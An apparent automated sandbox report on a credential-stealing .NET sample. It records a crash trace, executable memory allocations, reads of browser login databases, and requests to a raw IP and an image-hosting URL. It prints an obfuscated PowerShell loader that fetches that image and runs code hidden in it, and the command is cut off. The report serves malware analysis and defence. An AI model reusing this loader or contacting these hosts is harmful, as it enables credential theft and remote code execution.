_CorExeMain-0x21d4 clr+0x151f7a @ 0x728f1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x728f416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7386f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741b7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741b4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 e0 8b 4d dc ff 15 1c exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8d3bf5 registers.esp: 2092888 registers.edi: 2092912 registers.eax: 0 registers.ebp: 2092924 registers.edx: 195 registers.ebx: 41606556 registers.esi: 41635132 registers.ecx: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Oct. 24, 2023, 9:38 a.m.

stacktrace:

0x8d090c
0x8d086d
0x8d0700
0x8d0083
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x727a2652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x727b264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x727b2e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728674ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72867610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x728f1dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x728f1e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x728f1f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x728f416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7386f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741b4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 e0 8b 4d dc ff 15 1c
exception.instruction: mov eax, dword ptr [ecx]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x8d3bf5
registers.esp: 2092888
registers.edi: 2092912
registers.eax: 0
registers.ebp: 2092924
registers.edx: 195
registers.ebx: 41606556
registers.esi: 41635132
registers.ecx: 0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header, Connection to IP address				suspicious_request	GET http://95.214.27.121/mashilao.txt
suspicious_features	GET method with no useragent header				suspicious_request	GET https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg

Performs some HTTP requests (2 events)

request	GET http://95.214.27.121/mashilao.txt
request	GET https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg

Allocates read-write-execute memory (usually to unpack itself) (50 out of 365 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 1114112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02890000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02960000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0266a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02662000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02672000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02961000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02962000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0269a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02673000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02674000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0266b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02692000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02675000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0269c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02676000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02693000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02694000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02695000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02696000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02697000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02698000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02699000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b01000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b02000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b03000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b04000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b05000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b06000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b07000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b08000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b09000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b0a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b0b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b0c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b0d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b0e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b0f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c61000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c62000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c63000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2628 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c64000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Steals private information from local Internet browsers (6 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Chromium\User Data
file	C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data
file	C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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